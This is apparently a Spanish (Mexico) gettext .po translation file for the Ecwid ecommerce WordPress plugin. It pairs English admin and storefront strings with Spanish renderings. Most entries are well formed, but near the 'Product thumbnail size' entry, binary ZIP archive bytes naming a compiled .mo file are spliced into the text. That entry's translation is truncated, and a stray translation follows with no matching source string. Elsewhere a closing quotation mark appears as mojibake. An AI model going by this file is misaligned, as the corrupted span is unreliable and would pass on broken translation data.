msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_MX.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: 